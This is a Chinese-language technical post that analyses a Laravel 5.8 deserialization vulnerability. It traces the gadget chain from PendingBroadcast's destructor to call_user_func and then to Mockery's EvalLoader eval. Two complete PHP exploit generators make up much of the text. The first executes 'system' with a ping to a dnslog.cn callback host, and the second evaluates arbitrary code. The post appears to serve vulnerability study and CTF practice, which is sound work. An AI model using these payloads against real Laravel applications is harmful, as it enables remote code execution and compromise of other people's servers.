[PHP知识库]Laravel5.8反序列化复现分析

搭建环境

使用composer下载项目环境
composer create-project --prefer-dist laravel/laravel=5.8.* ./
详细的搭建参考上篇文章

漏洞分析

这次漏洞的起点位于
vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php的析构函数

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

全局搜索一个我们可以利用的dispatch()方法

跟进查看commandShouldBeQueued()

protected function commandShouldBeQueued($command)
    {
        return $command instanceof ShouldQueue;
    }

$command 需要实现这个接口全局查找一个合适的类

跟进dispatchToQueue($command)

 public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

        if (! $queue instanceof Queue) {
            throw new RuntimeException('Queue resolver did not return a Queue implementation.');
        }

        if (method_exists($command, 'queue')) {
            return $command->queue($queue, $command);
        }

        return $this->pushCommandToQueue($queue, $command);
    }

$this->queueResolver作为要调用的命令, $connection作为参数
构造exp:

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $event;
        protected $events;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
    class BroadcastEvent{
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;
        public function __construct($queueResolver)
        {   
           $this->queueResolver = $queueResolver;
        }
    }
}

namespace {
    $c = new Illuminate\Broadcasting\BroadcastEvent('ping aiuuvg.dnslog.cn');
    $b = new Illuminate\Bus\Dispatcher('system');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    print(urlencode(serialize($a)));
}
?>

因为命令执行后的判断报错,导致结果出不来,但是可以执行一些命令的，比如ping，接下来找找看看能不能让他代码执行，全局搜索eval

绕过第一个判断不能让他return,跟进getClassName()

public function getClassName()
    {
        return $this->config->getName();
    }

getName()在MockConfiguration.php，name随便设即可

接着跟进getCode

eval("?>" . $definition->getCode());

这里返回一个code,将它设为我们想执行的代码即可

public function getCode()
    {
        return $this->code;
    }

构造exp：

namespace Illuminate\Broadcasting{

    use Mockery\Generator\MockConfiguration;
    use Mockery\Generator\MockDefinition;
    class PendingBroadcast{
        protected $event;
        protected $events;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        } 
    }
    class BroadcastEvent{
        public $connection;
        public function __construct()
        {
            $this->connection = new MockDefinition(new MockConfiguration());
        }
    }
}
namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;
        public function __construct($queueResolver)
        {   
           $this->queueResolver = $queueResolver;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{

    }
}
namespace Mockery\Generator{
    class MockDefinition{
        protected $config;
        protected $code;
        public function __construct($config)
        {
            $this->config = $config;
            $this->code = '<?php phpinfo();exit();?>';
        }
    }
    class MockConfiguration
    {
        protected $name="kb";
    }
}

namespace {

    $c = new Illuminate\Broadcasting\BroadcastEvent();
    $b = new Illuminate\Bus\Dispatcher([new Mockery\Loader\EvalLoader,'load']);
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    print(urlencode(serialize($a)));
}

参考链接：合天网安-通过几道CTF题学习Laravel框架